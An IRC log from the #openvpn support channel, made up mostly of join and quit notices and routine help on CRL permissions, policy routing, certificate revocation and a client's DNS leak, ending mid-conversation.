00:54 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
01:22 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:38 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:39 -!- mirco [~mirco@p508000EA.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
01:47 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
02:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Remote host closed the connection]
02:05 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
02:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:38 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 240 seconds]
02:51 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Connection reset by peer]
02:52 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:57 -!- Rumbles [~Rumbles@host81-133-199-16.in-addr.btopenworld.com] has joined #openvpn
02:58 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-bromayqostirttrr] has quit [Read error: Connection reset by peer]
02:59 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-wsysbakiicopaqzx] has joined #openvpn
03:13 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 256 seconds]
03:15 -!- monk [~aknm@196.14.139.96] has joined #openvpn
03:15 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
03:15 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
03:15 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
03:16 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
03:32 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
03:37 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
03:53 -!- erry__ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
03:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:54 -!- erry__ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
03:55 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
03:56 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
03:57 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 260 seconds]
04:02 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
04:03 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 276 seconds]
04:05 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
04:11 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
04:19 -!- lamok [~steve@li428-245.members.linode.com] has joined #openvpn
04:20 -!- lamok is now known as lamokie
04:38 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:51 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
04:57 -!- rensharma [~rensharma@82-168-152-188.ip.telfort.nl] has joined #openvpn
04:58 < rensharma> Hi, My openvpn config file is unable to read crl.pem file
04:58 < rensharma> I have alread revoked few certificates manually
04:59 < rensharma> I am using easy-rsa and I have symlinked the file from easy-rsa/keys to the same location as my config file is
04:59 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has quit [Ping timeout: 264 seconds]
05:01 < rensharma> CRL: cannot read: /etc/openvpn/crl.pem: Permission denied (errno=13)
05:01 < rensharma>  Exiting due to fatal error
05:02 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has joined #openvpn
05:10 < rensharma> Never mind.. Problem Solved
05:14 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has quit [Ping timeout: 264 seconds]
05:16 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has joined #openvpn
05:35 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:52 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has quit [Ping timeout: 264 seconds]
05:52 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:53 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-wsysbakiicopaqzx] has quit [Ping timeout: 264 seconds]
05:53 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-skyqlusdgjgpbapx] has joined #openvpn
05:54 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has joined #openvpn
05:58 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-skyqlusdgjgpbapx] has quit [Read error: Connection reset by peer]
05:59 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-vwdsmccwrsmhtnnq] has joined #openvpn
06:00 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has quit [Ping timeout: 264 seconds]
06:03 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has joined #openvpn
06:07 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
06:13 -!- rensharma [~rensharma@82-168-152-188.ip.telfort.nl] has quit []
06:14 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
06:15 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has quit [Ping timeout: 264 seconds]
06:17 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has joined #openvpn
06:32 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has quit [Ping timeout: 264 seconds]
06:35 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has joined #openvpn
06:38 -!- kubbing [~kubbing@ip-94-113-63-41.net.upcbroadband.cz] has joined #openvpn
06:46 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has quit [Ping timeout: 264 seconds]
06:48 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has joined #openvpn
06:58 -!- ayaka [~ayaka@2001:250:6801:1450:a60:6eff:fe70:368a] has joined #openvpn
06:58 < ayaka> if the vpn is uped, can I ping the peer address show do in either side?
07:13 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has quit [Ping timeout: 264 seconds]
07:13 -!- kubbing [~kubbing@ip-94-113-63-41.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:20 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has joined #openvpn
07:23 -!- tjz [~tjz@unaffiliated/tjz] has quit [Quit: quit irc]
07:26 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:30 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
07:35 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 264 seconds]
07:36 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
07:37 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
07:37 < ayaka> how to check whether client and server is connected?
07:40 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
07:42 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
07:49 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Remote host closed the connection]
07:50 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-vwdsmccwrsmhtnnq] has quit [Read error: Connection reset by peer]
07:51 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-picxkmsocklyvpae] has joined #openvpn
07:55 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:13 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
08:14 -!- mattock is now known as mattock_afk
08:15 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:17 -!- kirin` [telex@gateway/shell/anapnea.net/x-gofunhlztrfguxjb] has quit [Ping timeout: 264 seconds]
08:27 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:32 <@ecrist> good morning
08:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
08:35 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-picxkmsocklyvpae] has quit [Ping timeout: 248 seconds]
08:35 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
08:36 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:40 -!- flickerfly [~jritchie@216.115.64.198] has left #openvpn []
08:42 < ayaka> if the tunnel is up, does it mean that the vpn is connected?
08:43 < ayaka> !goal
08:43 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
08:48 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:49 -!- Poster|x is now known as Poster
08:53 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
09:01 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:23 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Quit: Leaving]
09:28 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
09:39 -!- JRocha is now known as jrgcombr
09:41 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Read error: Operation timed out]
09:45 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:51 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:00 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:04 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 260 seconds]
10:17 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
10:17 -!- Rumbles [~Rumbles@host81-133-199-16.in-addr.btopenworld.com] has quit [Ping timeout: 245 seconds]
10:21 -!- raidz_away is now known as raidz
10:41 -!- Sebb [~sebastian@2001:470:703c:1::1] has joined #openvpn
10:42 < Sebb> hey.. I've a question.. I have a router with more than one uplink and source based routing in place. is it somehow possible to specify a source interface rather than a source IP ("local" in the config) that should be used without fiddling around with scripts that change the configuration dynamically?
10:43 < Eugene> Not that I'm aware of.
10:43 <@ecrist> nope
10:44 < Eugene> If it helps, you can use a hostname in --local
10:45 < Sebb> umm. not really.. then I'll probably always change the configuration in the ip-up-handler and reload.. thanks
10:48 <+pekster> bind() binds to address, not interfaces
10:48 <+pekster> Clever scripting could determine if some interface has an IP and if so use the primary IP from the interface if you'd like
10:52 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:56 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
10:57 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:57 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
11:02 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
11:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:04 -!- Denial [Denial@05417302.skybroadband.com] has quit []
11:05 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
11:05 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
11:05 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
11:06 -!- dvl is now known as dvl2
11:06 -!- dvl2 is now known as dvl
11:08 -!- mattock_afk is now known as mattock
11:15 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
11:16 -!- master_of_master [~master_of@p4FF24A35.dip0.t-ipconnect.de] has joined #openvpn
11:19 -!- master_o1_master [~master_of@p4FD7BCA8.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
11:35 -!- mirco [~mirco@p508000EA.dip0.t-ipconnect.de] has joined #openvpn
11:40 -!- ayaka [~ayaka@2001:250:6801:1450:a60:6eff:fe70:368a] has left #openvpn ["离开"]
11:47 -!- kubbing [~kubbing@ip-78-102-124-148.net.upcbroadband.cz] has joined #openvpn
11:51 -!- kubbing [~kubbing@ip-78-102-124-148.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:52 -!- RealRancor [~Rancor@prielwurmjaeger.de] has quit [Ping timeout: 256 seconds]
11:53 < dvl> I am having trouble with one client.  Client reports: Initialization Sequence Completed.  And on server I see: MULTI: bad source address from client [::], packet dropped.  Then two more similar for fe80::225… not sure if that is what I should investigate or if it's just a red herring.
11:53 -!- kubbing [~kubbing@ip-78-102-124-148.net.upcbroadband.cz] has joined #openvpn
11:54 < dvl> The connection is not functional; pings fail etc.
11:54 -!- liriel [~liriel@aphrodite.feralhosting.com] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
11:55 < dvl> client logs: do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
12:00 <+pekster> "Bad source address" is the client being stupid and sending traffic sourced from an address "not on" the tunnel into the tunnel
12:01 <+pekster> It's as silly as trying to send with someone else's IP on your ISP's network, and openvpn rightly drops it. That is unrelated to any issues with a tunnel not working
12:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:08 < dvl> I wonder what it is different about that client.
12:08 < dvl> And only recently.
12:09 <+pekster> Apparently it's using badly sourced IPv6 addresses; turn it off if you don't want that; in tun, openvpn has no notion of LL or loopback addresses. Your client is also broken if it's trying to send as '::'
12:09 <+pekster> That's only valid on loopback adapters, and tun is not a loopback
12:10 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
12:11 < dvl> So, not a red herring...
12:13 <+pekster> "your client is stupid" is the problem. There's nothing wrong with openvpn just because you get that message
12:13 <+pekster> client OS, that is
12:13 < dvl> I see similar messages for another client, which is OK. Conclusion: this isn't related to the comms failure.
12:14 <+pekster> If you get the 'Initilization sequence completed' message and no subsequent timeouts, the "tunnel is up" -- failure to ping the endpoint after that is generally a firewall
12:18 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
12:18 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
12:18 < dvl> Noted.  GAH!  It was firewall.  For some reason, reloading the rules cleared this issue up.  DOH.
12:18 < dvl> Thank you.
12:18 -!- xTz is now known as Guest95859
12:19 < dvl> Firewall on that client..
12:25 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-okujxbaxcynfqvum] has joined #openvpn
12:32 -!- RealRancor [~Rancor@prielwurmjaeger.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
12:32 -!- ele [~maarten@pinky.elexer.com] has quit [Ping timeout: 245 seconds]
12:32 <@ecrist> dvl: we even tell you that in the /topic
12:32 <@ecrist> ;)
12:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:36 < dvl> ecrist: Don't you go pulling the 'RTFT' on me1
12:36 < dvl> For setting up a new client, yep, that's definitely something I'd check.  I suspect tun0 went down, and the firewall dropped it. .something like that.
12:37 -!- michaelhart [~michaelha@162.209.1.130] has quit [Ping timeout: 260 seconds]
12:39 -!- midacts [~midacts@207.59.77.254] has quit [Read error: Connection reset by peer]
12:39 -!- michaelhart [~michaelha@69-165-175-193.dsl.teksavvy.com] has joined #openvpn
12:45 -!- Haigha [~root@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 245 seconds]
12:46 -!- Haigha [~root@2001:41d0:1:d4e5:dead::42] has joined #openvpn
12:48 <@ecrist> dvl: I recommend static interfaces with freebsd and pf
12:48 <@ecrist> then your firewall doesn't lose it's mind when openvpn gets restarted
12:49 <@ecrist> so, add to your /etc/rc.conf:  cloned_interfaces="tun0 tun1..." 
12:52 -!- Haigha [~root@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 264 seconds]
12:55 < dvl> OK, will try that.  Getting ready to move from OLD hardware for firewall to new hardware.  First test was bad.  second test worked, but one vpn client (the one mentioned above) was doing poorly.
13:09 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
13:21 -!- JSharpe [~JSharpe@188.227.181.234] has joined #openvpn
13:21 -!- mirco [~mirco@p508000EA.dip0.t-ipconnect.de] has quit [Remote host closed the connection]
13:26 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
14:01 -!- p3rror [~p3rror@41.143.220.111] has joined #openvpn
14:01 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:04 -!- kubbing [~kubbing@ip-78-102-124-148.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
14:21 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn
14:26 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-okujxbaxcynfqvum] has quit [Ping timeout: 240 seconds]
14:27 -!- Rumbles [~Rumbles@31.205.54.123] has joined #openvpn
14:27 -!- mattock is now known as mattock_afk
14:45 -!- RealRancor [~Rancor@prielwurmjaeger.de] has quit [Ping timeout: 248 seconds]
14:54 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 260 seconds]
14:58 -!- lkmkl [~ml@84.238.81.51] has joined #openvpn
14:59 < lkmkl> Hey, I have bought a vpn tunnel and i'm wondering how i can get my computer to connect to the tunnel without it blocking the normal ssh to the box
15:00 <+pekster> Don't --redirect-gateway
15:00 <+pekster> If you "want" that, but "not for everything" that concept is called Policy Routing, and is non-trivial
15:00 < lkmkl> I'm setting up the tunnel in openvpn.conf
15:00 <+pekster> Relevant reading:
15:00 <+pekster> !redirect
15:00 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:00 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
15:00 <+pekster> (you're using that already)
15:01 <+pekster> What OS?
15:01 < lkmkl> can i just omit "redirect-gateway def1" in the config?
15:01 < lkmkl> ubuntu
15:01 <+pekster> You're using that in your client config? You can omit it, but then it won't do what that directive tells it to
15:02 <+pekster> ie: there will be no traffic redirection and all you'll get is a secure connction to the server at the other end of the VPN
15:03 <+pekster> !learn lartc as LARTC is the de-facto guide to policy routing and QoS (tc, or traffic control) on Linux. http://lartc.org/howto/ . Policy  routing in Ch. 4, QoS in Ch. 9. Start at the beginning if you're new to advanced routing on Linux
15:03 <@vpnHelper> Joo got it.
15:03 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
15:05 < lkmkl> pekster, if i have --redirect-gateway without def1 will i be able to connect to the box directly and get all traffic sent trough the tunnel?
15:06 < lkmkl> all "new" traffic from the box
15:06 <+pekster> No
15:06 <+pekster> You need policy routing for that
15:07 <+pekster> (otherwise the "reply" to the connection "directly to the box" goes through the VPN. This is what happens when you redirect "all" your traffic. It quite literally redirects *all* of your traffic (minus your link-local LAN, of course)
15:07 <+pekster> Again, what you want is somewhat non-trivial and an advanced routing concept. This is why the document explaining how to do it has so many chapters.
15:08 < lkmkl> kk, I thought that this would be a somewhat typical scenario
15:09 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn
15:11 <+pekster> Perhaps, but the implementation is a bit non-trivial, especially when you consider related traffic (eg: ICMP errors sent in relation to an inbound request that passed your firewall should also be sent out the link the original came in on.)
15:13 <+pekster> Best is to use connmark to apply a ctmark to anything arriving on the IP you wish to "bind" the replies to, then clone the ctmark to fwmark on the reply packets you generate and use that to key an `ip rule` decision
15:14 <+pekster> You can play with rules using the `from YOUR_IP_HERE` selector too (see `ip rule help`) but this won't work for UDP traffic well
15:15 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
15:17 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
15:22 -!- Martyn [~Martin@216.38.134.150] has joined #openvpn
15:22 < Martyn> Hi.
15:22 < Martyn> !welcome
15:23 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
15:23 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:23 < Martyn> !goal
15:23 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
15:24 < Martyn> I have a vyatta router, that uses openVPN.   The crt/csr/key files are in /config/auth.   A number of employees have left the company and I would like to revoke their openVPN access (I have already revoked pptp and l2tp which is done separately)
15:24 < Martyn> how do I revoke their OpenVPN access?
15:24 -!- ele [~maarten@pinky.elexer.com] has quit [Ping timeout: 246 seconds]
15:24 -!- Rumbles [~Rumbles@31.205.54.123] has quit [Ping timeout: 245 seconds]
15:27 -!- Eagleman7 is now known as Eagleman
15:27 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
15:29 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 264 seconds]
15:32 <+pekster> Martyn: You're using client keypairs? ie: pubkey auth on the client side, aka client X509?
15:33 < Martyn> yep
15:33 <+pekster> You need to revoke the client certs then and publish/use a CRL on your server
15:33 <+pekster> !revoke
15:33 < Martyn> and I still have the client certificates (PKI) sitting in the directory
15:33 <+pekster> You need the CA PKI
15:33 <+pekster> (the PKI where you signed the client's certs)
15:33 < Martyn> *nod*
15:33 <+pekster> !search revoke
15:33 <@vpnHelper> There were no matching configuration variables.
15:34 <+pekster> Stupid lousy bot and it's lack of accepting properly formatted --values lines
15:34 < Martyn> so openssl ca -revoke USERNAME.crt -config KEY.CONFIG
15:34 <+pekster> Yea, pretty much. Then you need to `.. ca -gencrl ..` and publish that to your openvpn server
15:35 < Martyn> there has to be an easier script :)
15:35 < Martyn> but got it..
15:35 <+pekster> It needs a --crl-verify directive that references the file, and if you needed to add it, you must restart the openvpn process
15:35 < Martyn> (there used to be something called easy-rsa )
15:35 <+pekster> There is: Easy-RSA ships with a `revoke-full` script, IIRC
15:35 < Martyn> that's the one
15:35 < Martyn> they don't ship it in the vyatta distribution
15:35 < Martyn> but I can install it easily enough
15:35 <+pekster> Don't use embedded routers to generate certs
15:36 < Martyn> this is all internal stuff
15:36 < Martyn> nothing really depends on it
15:36 < Martyn> but I am cleaning up the old certs
15:36 <+pekster> If "anything in the real world" can reach it, it's possibly a security risk to use embedded hw for key generation as they suffer from terriable entropy
15:36 < Martyn> actually, the embedded hw has a strong entropy key installed
15:36 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
15:37 <+pekster> Ah, then you might be okay
15:37 < Martyn> http://www.entropykey.co.uk/
15:37 <+pekster> (if it's going into the OS entropy pool)
15:37 <@vpnHelper> Title: Simtec Electronics Entropy Key: USB True Random Number Generator (at www.entropykey.co.uk)
15:37 <+pekster> Yup, I'm familiar with it :)
15:37 < Martyn> It's the only entropy source I use in linux based devices
15:37 < Martyn> vyatta supports it natively
15:43 < Martyn> yay
15:43 < Martyn> revoked, and old keys/certs deleted
15:43 -!- lkmkl [~ml@84.238.81.51] has quit [Ping timeout: 260 seconds]
15:44 <+pekster> It's generally useful to keep the old keys around, at least in your CA PKI
15:44 <+pekster> Sorry, certs
15:44 <+pekster> (trash the keys if you don't want them anymore -- they're worthless when the server rejects them anyway)
15:48 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
15:48 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
15:48 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
15:52 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
15:56 -!- lkmkl [~ml@84.238.81.51] has joined #openvpn
15:59 -!- ele [~maarten@pinky.elexer.com] has quit [Read error: Connection reset by peer]
16:01 -!- Denial [Denial@05417302.skybroadband.com] has quit []
16:03 -!- michaelhart [~michaelha@69-165-175-193.dsl.teksavvy.com] has quit [Quit: michaelhart]
16:05 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
16:07 -!- ele [~maarten@pinky.elexer.com] has quit [Read error: Connection reset by peer]
16:13 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
16:13 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
16:13 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
16:16 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
16:17 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:21 -!- ele__ [~maarten@pinky.elexer.com] has joined #openvpn
16:23 -!- ele [~maarten@pinky.elexer.com] has quit [Ping timeout: 276 seconds]
16:24 -!- lkmkl [~ml@84.238.81.51] has quit [Ping timeout: 264 seconds]
16:33 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
16:38 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 248 seconds]
16:49 -!- Guest95859 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
16:51 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 260 seconds]
16:54 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn
17:05 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:05 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
17:10 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
17:12 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
17:12 -!- mode/#openvpn [+o dazo_afk] by ChanServ
17:12 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:12 -!- dazo_afk is now known as dazo
17:21 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds]
17:23 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
17:23 -!- mode/#openvpn [+o dazo_afk] by ChanServ
17:23 -!- dazo_afk is now known as dazo
17:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
17:27 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
17:29 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:59 -!- kirin` [telex@gateway/shell/anapnea.net/x-mtgjgehjpsrbaryf] has joined #openvpn
18:05 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds]
18:14 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
18:18 -!- andrusha97 [~user@46.37.165.158] has joined #openvpn
18:28 -!- Rumbles [~Rumbles@31.205.54.123] has joined #openvpn
18:43 -!- JSharpe [~JSharpe@188.227.181.234] has quit [Quit: Leaving]
18:45 -!- Rumbles [~Rumbles@31.205.54.123] has quit [Ping timeout: 246 seconds]
19:02 -!- tomboy_ [tomboy@gateway/shell/blinkenshell.org/x-ahwtvfzcuwtnmlal] has joined #openvpn
19:05 < tomboy_> My ISP insists on hijacking NXDOMAIN responses, even when I'm using my VPN. Doesn't this effectively expose my real IP address and correlate it with the VPN servers'?
19:06 -!- p3rror [~p3rror@41.143.220.111] has quit [Ping timeout: 245 seconds]
19:06 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:06 < tomboy_> I really don't understand how this is happening if my connection is an encrypted tunnel. How the hell does it know?
19:07 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
19:09 < tomboy_> I don't understand how DNS queries from a computer in Sweden can get redirected to a computer in Arkansas. I thought my Arkansas location was unknown, that I appeared to come from Sweden, what gives?
19:10 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
19:10 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:13 < rob0> Probably your ISP would deny queries for hosts outside their network. This means, of course, that you're querying from inside their network: not the VPN server.
19:17 < tomboy_>  rob0: How can that be possible? My IP shows Europe. Is DNS handled differently in openvpn, do I have to enable dns through the tunnel?
19:18 < rob0> I guess your OS is still configured to use the ISP resolvers.
19:18 < tomboy_> rob0: no it isn't. i've changed that.
19:19 < tomboy_> # cat /etc/resolv.conf --> nameserver 8.8.8.8
19:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
